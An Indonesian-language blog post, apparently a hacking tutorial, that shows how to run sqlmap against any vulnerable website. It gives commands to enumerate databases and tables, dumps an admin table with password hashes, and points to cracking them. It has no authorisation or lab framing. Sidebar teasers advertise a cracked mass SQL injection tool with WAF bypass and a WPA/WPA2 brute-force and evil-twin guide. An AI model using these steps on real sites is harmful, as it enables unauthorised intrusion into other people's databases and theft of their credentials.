Tutorial Sql injection dengan sqlmap kali linux

Tutorial Sql injection dengan sqlmap kali linux

Oke pada kali ini saya akan membuat tutorial sql injection dengan sqlmap di kali linu
sebelum memulai sediakan website yang vuln
kalo sudah ada mari kita mulai sql injectionnya


Pertama kita akan lihat dulu isi dari database situs tersebut

sqlmap.py -u www.sitetarget.com/display.php?catId=22 --dbs
Tunggu hingga muncul database target
site tersebut terdapat 2 database
[*] information_schema
[*] wwwenkay_qEnkayDB
sekarang kita akan melihat isi tabel dari database wwwenkay_qEnkayDB
sqlmap.py -u www.sitetarget.com/display.php?catId=22 -D nama_database --tables
Tunggu hingga muncul tabel
Database tersebut terdapat 15 tabel,nah sekarang kita ingin melihat isi dari tabel admin
sqlmap.py -u www.sitetarget.com/display.php?catId=22 -D nama_database -T nama_tabel --dump

Ternyata terdapat 3 user dan passwordnya berupa hash,untuk masuk ke dalam site tersebut kita harus decrypt dulu
untuk decryptnya saya akan update di post selanjutnnya atau agan bisa searching di google 

(^^^)







Comments

Post a Comment

Popular posts from this blog

SQLi Dumper v7.1 [Cracked]

Image
Now SQLi Dumper Release v7 And New Features Designed to be automated to find and exploit web security vulnerabilities in mass from worldwide! It is robust, works in the background threads and is super faster. Uses an advanced search engine with 10 different online search services. Last release: 06/23/2014 v.7.1 SQLi Dumper pro Features: -Suports 20 methods of SQL Injection; -Suports Multi. Online search engine (to find the trajects); -Automated search for data in a bulk URL list; -Automated analizer and dumper with custom injections points (URL, POST, Cookies, UserLogin or UserPassword); -Dumper suports dumping data with multi-threading (databases/tables/columns/fetching data); -Exploiter, Analizer and Dumper suports up to 50x separeted threads; -Advanced WAF bypass methods; -Advanced custom query box; -Dumper can dump large amounts of data, with greats control of delay each request; -Easy switch vulnerabilities to vulnerabilities (internal database); -Suports proxies list; -G...
Read more

Brute-Force WPA/WPA2 via GPU

Most of you lot would be aware what WPA/WPA2 is so I won't bang on about the encryption or protocols a great deal. In short WPA and WPA2 both have a maximum of 256bit encrypted with a maximum of 64 characters in the password. The encryption is really only 64bit but x 4 because of the way the authentication functions as a 4 way handshake. Before starting with oclHashcat. I would suggest to test for a WPS/Wifi Protected Setup' using Reaver and more recently the Pixie-dust method as it can effectively crunch the 11,000 WPS pins and extract the WPA pre shared key a lot faster than a complex WPA/WPA2 password. If WPS is secure I would suggest to then move onto WPA/WPA2 this method or the Evil twin method that clones the AP. The tool Hashcat has been around for sometime and is CPU based, oclHashcat makes use of modern GPU processors and makes use of its physics abilities to crack most modern encrypted user/pass hashes. oclHachcat will function in linux and also in windows. . ...
Read more
Image
Kali ini saya akan share tutorial mengontrol hidup mati nya lampu led menggunakan PHP Script yang dihubungkan dengan Arduino. Kebetulan project ini adalah tugas UAS saya yang baru saja selesai. Yang kita butuhkan disini adalah : Arduino MEGA 2560 Software Arduino Sketch ( https://www.arduino.cc/en/Main/Software ) Software Processing ( https://processing.org/download/ ) Arduino Library for Processing ( http://playground.arduino.cc/Interfacing/Processing ) XAMPP / Apache2 Webserver Dan juga codingan PHP, Processing, dan Ardino Sketch nya. Download Script Disini Disini saya akan menjelaskan bagian program programnya. Dimulai dari  Arduino Sketch  nya. Disini saya menggunakan 3 buah LED. Pin 8, 9, dan 10 sebagai Output nya. if (incomingByte == 'A') {     digitalWrite(ledPin1, HIGH);     } Disini jika inputan A maka Lampu 1 ( ledPin1 ) akan hidup ( HIGH ) else if (incomingByte == 'D') {       ...
Read more